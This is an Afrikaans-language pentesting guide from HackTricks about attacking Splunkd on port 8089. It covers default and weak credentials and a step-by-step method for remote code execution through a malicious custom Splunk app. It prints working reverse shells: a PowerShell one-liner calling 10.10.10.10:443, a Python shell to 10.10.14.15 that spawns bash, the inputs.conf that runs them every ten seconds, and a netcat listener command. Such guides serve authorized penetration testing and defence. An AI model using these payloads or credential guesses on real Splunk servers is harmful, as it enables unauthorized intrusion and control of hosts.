8.6 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basiese Inligting
Splunk is 'n log analise hulpmiddel wat 'n belangrike rol speel in die versameling, analise en visualisering van data. Terwyl die aanvanklike doel nie was om as 'n SIEM (Security Information and Event Management) hulpmiddel te dien nie, het dit gewildheid verwerf in die gebied van sekuriteitsmonitering en besigheidsanalise.
Splunk-implementasies word gereeld gebruik om sensitiewe data te stoor en kan dien as 'n waardevolle bron van inligting vir potensiële aanvallers as hulle daarin slaag om die stelsel te kompromitteer. Standaard poort: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Die Splunk webbediener loop standaard op poort 8000. {% endhint %}
Enumerasie
Gratis Weergawe
Die Splunk Enterprise proefweergawe omskakel na 'n gratis weergawe na 60 dae, wat nie outentisering vereis nie. Dit is nie ongewoon dat stelselsadministrateurs 'n proef van Splunk installeer om dit te toets nie, wat daarna vergeet word. Dit sal outomaties omskakel na die gratis weergawe wat geen vorm van outentisering het nie, wat 'n sekuriteitsgat in die omgewing inbring. Sommige organisasies mag vir die gratis weergawe kies weens begrotingsbeperkings, sonder om die implikasies van die afwesigheid van gebruikers-/rolbestuur ten volle te verstaan.
Standaard Kredensiale
Op ouer weergawes van Splunk is die standaard kredensiale admin:changeme
, wat gerieflik op die aanmeldbladsy vertoon word.
Egter, die nuutste weergawe van Splunk stel kredensiale tydens die installasieproses in. As die standaard kredensiale nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos admin
, Welcome
, Welcome1
, Password123
, ens.
Verkry Inligting
Sodra jy by Splunk aangemeld is, kan ons data blaai, verslae uitvoer, dashboards skep, toepassings van die Splunkbase biblioteek installeer, en pasgemaakte toepassings installeer.
Jy kan ook kode uitvoer: Splunk het verskeie maniere om kode uit te voer, soos bediener-kant Django toepassings, REST eindpunte, geskrifte insette, en waarskuwingskripte. 'n Algemene metode om afstandskode-uitvoering op 'n Splunk-bediener te verkry, is deur die gebruik van 'n geskrifte inset.
Boonop, aangesien Splunk op Windows of Linux gasheer geïnstalleer kan word, kan geskrifte insette geskep word om Bash, PowerShell, of Batch skripte uit te voer.
Shodan
Splunk bou
RCE
Skep Pasgemaakte Toepassing
'n Pasgemaakte toepassing kan Python, Batch, Bash, of PowerShell skripte uitvoer.
Let daarop dat Splunk met Python geïnstalleer kom, so selfs in Windows stelsels sal jy in staat wees om python kode uit te voer.
Jy kan hierdie Splunk pakket gebruik om ons te help. Die bin
gids in hierdie repo het voorbeelde vir Python en PowerShell. Kom ons loop deur dit stap-vir-stap.
Om dit te bereik, moet ons eers 'n pasgemaakte Splunk toepassing skep met die volgende gidsstruktuur:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Die bin
gids sal enige scripts wat ons van plan is om te loop bevat (in hierdie geval, 'n PowerShell omgekeerde skulp), en die standaardgids sal ons inputs.conf
lêer hê. Ons omgekeerde skulp sal 'n PowerShell een-liner wees:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Die inputs.conf lêer vertel Splunk watter skrip uit te voer en enige ander voorwaardes. Hier stel ons die app as geaktiveer en sê vir Splunk om die skrip elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die invoer (skrip) sal slegs loop as hierdie instelling teenwoordig is.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Ons het die .bat
-lêer nodig, wat sal loop wanneer die toepassing ontplooi word en die PowerShell een-liner sal uitvoer.
Die volgende stap is om Install app from file
te kies en die toepassing op te laai.
Voordat ons die kwaadwillige pasgemaakte toepassing op laai, laat ons 'n luisteraar begin met Netcat of socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Op die Upload app
bladsy, klik op blaai, kies die tarball wat ons vroeër geskep het en klik Upload
. So binne-in ons die toepassing op te laai, sal 'n reverse shell ontvang word aangesien die status van die toepassing outomaties na Enabled
verander.
Linux
As ons met 'n Linux-gasheer te doen gehad het, sou ons die rev.py
Python-skrip moes wysig voordat ons die tarball skep en die pasgemaakte kwaadwillige toepassing op laai. Die res van die proses sou dieselfde wees, en ons sou 'n reverse shell-verbinding op ons Netcat luisteraar kry en aan die gang wees.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
In die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te verhoog en volharding te verkry:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
References
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.